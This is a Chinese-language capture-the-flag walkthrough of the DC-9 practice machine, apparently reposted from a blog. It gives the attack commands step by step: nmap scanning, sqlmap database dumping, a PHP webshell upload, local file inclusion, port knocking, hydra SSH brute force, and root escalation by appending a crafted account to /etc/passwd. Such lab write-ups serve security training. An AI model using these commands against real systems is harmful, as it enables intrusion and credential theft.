DC-9

Posted eiu1110

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-9相关的知识,希望对你有一定的参考价值。

                                                                                             DC-9

试验机:DC-7 (网络连接为net)

攻击机:kali  (IP:192.168.146.140)

使用nmap进行信息收集

 

使用nmap进行更详细的信息收集(开始使用参数)

nmap -A -sV -p- 192.168.146.153

 

获取信息有,22端口ssh被过滤了,80端口为开启状态,apache版本为2.4.38

同时使用dirb和dirsearch进行网页扫描

 

 

访问这几个网站看看

http://192.168.146.153/display.php

 

获得敏感信息

http://192.168.146.153/includes/

 

apache2.4.38(以获取的敏感信息)

http://192.168.146.153/index.php

 

介绍页面

http://192.168.146.153/index.php/login

 

没看出啥

http://192.168.146.153/manage.php

 

一个登录界面

http://192.168.146.153/search.php

 

一个搜索界面,可能存在猜测可能存在sql注入,尝试用burpsuite进行抓包然后使用mysql进行注入

开启burpsuite

 

 

设置网页代理(我这里是使用了一个插件进行快速网页代理,如果没有插件,可以在设置中进行网页代理)

burpsuite中设置

 

浏览器代理设置

 

firefox设置中的网页代理(使用浏览器为firefox,其他浏览器也差不多)

 

选择手动代理,然后输入跟burpsuite中一样的配置参数就可以了

 

切换到搜索界面,随便输入些啥,然后开启intercept is off进行数据包抓取

 

随便输入啥,点击submit

 

复制burpsuite抓取到的数据包(ctrl+c)

 

复制到文件中

 

使用sqlmap进行注入

sqlmap -r 1.txt

 

 

没有报错,确实含有sql注入,加上参数,爆出所有数据库

sqlmap -r 1.txt --dbs

 

 

出现三个数据库(如果自己不确定,那就一个一个查)

先查Users数据库,添加参数查看表名

sqlmap -r 1.txt -D users --tables

 

 

就一个表,继续查看列名

sqlmap -r 1.txt -D users -T UserDetails --columns

 

 

指定password,username进行数据查询

sqlmap -r 1.txt -D users -T UserDetails -C Username,password --dump

 

 

跑出来好多用户,尝试用dirsearch跑出来的登录网页进行登录

 

全部尝试登陆后都登录失败

换一个数据库继续(重复操作)

sqlmap -r 1.txt -D Staff --tables

 

 

两个表,直接锁定Users表,进行列名查询

sqlmap -r 1.txt -D Staff -T Users --columns

 

 

指定password,username进行数据查询,弹出选项大概意思就是是否使用默认字典进行爆破,选择Y

sqlmap -r 1.txt -D Staff -T Users -C password,username --dump

 

 

 

账户密码都爆出来了,进行登录

 

登录成功

点击add record,进行数据写入

 

随便输入点啥,成功,在Display All Records,中查看到写入的内容

 

 

尝试进行一句话木马写入

 

 

上传成功

使用蚁剑进行连接

 

返还为空

在登录成功的页面发现下面有一行英文

 

翻译大概意思就是文件不存在,可能之前因该是要显示一个文件,但是文件没了,怀疑可能含有文件包含(参数是file,别问,问就是我也不知道,试出来的(因该))

 

没有显示,多加几层../

 

有了,确实存在文件包含,判断一下是远程文件包含还是本地文件包含

在kali的html目录下写一个php文件

 

代码执行结果为显示php的详细信息,进行远程文件包含

 

没有结果

 

看来是本地文件包含,想起信息收集的时候22端口被过滤了,网上进行搜索发现有一个工具可以过滤nmap的扫描

 

配置方法(https://zhuanlan.zhihu.com/p/373308651)

发现配置文件在/etc目录下,查看该配置文件

 

 

 

用nmap访问一下限制的端口,ssh就可以被扫描到了(如果不行的话就用nc连接,注释:要按照openssh来)

nmap -p 7469,8475,9842 192.168.146.153

 

在使用nmap进行扫描,发现22端口为开启状态

 

使用从数据库中爆出admin用户进行登陆

 

登录失败,想起之前还报过一个数据库,里面全是用户和密码,保存到文件中在使用hydra进行爆破

用户文件

 

密码文件

 

使用hydra进行爆破

hydra -L user.txt -P 2.txt ssh://192.168.146.153

 

爆出三个用户,尝试进行登录

 

第一个用户登录,登录成功

 

 

权限没有,文件也没有

 

下一个用户

 

跟上一个用户一样,没什么好看的,切换下一个

 

还是没有权限,但是发现新的文件

 

在文件中发现一个密码存放文件

 

把他加入到hydra爆破ssh的密码文件中,再次进行爆破,看看有没有可能在爆出用户

 

继续进行爆破,新出了一个用户

 

 

用这个用户进行登录,成功

 

查看有哪些可以进行suid提权

find / -perm -4000 2>/dev/null

 

使用sudo -l看看哪个文件有root权限

 

发现test有root权限,切换到test目录下执行test文件s

 

显示是一个python脚本文件

find / -name test.py     查找文件位置

cat  /opt/devstuff/test.py    查看文件内容

 

 

 

简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过 test.py 写入到 /etc/passwd 文件中,从而成功提权

使用命令

openssl passwd -1 -salt yonghu 123456 生成密码在使用openssl进行加密

echo ‘wxy:$1$wxy$LX4Sjq9tXylHPD/rMRRqA1:0:0:root:/bin/bash’ > /tmp/se   在写入文件中

./test /tmp/se /etc/passwd    再将se文件中的账号密码写入passwd中

 

切换写入的用户,获得flag

以上是关于DC-9的主要内容,如果未能解决你的问题,请参考以下文章

DC-9靶机

靶机DC-9

DC-9

AD域环境搭建

nginx

nginx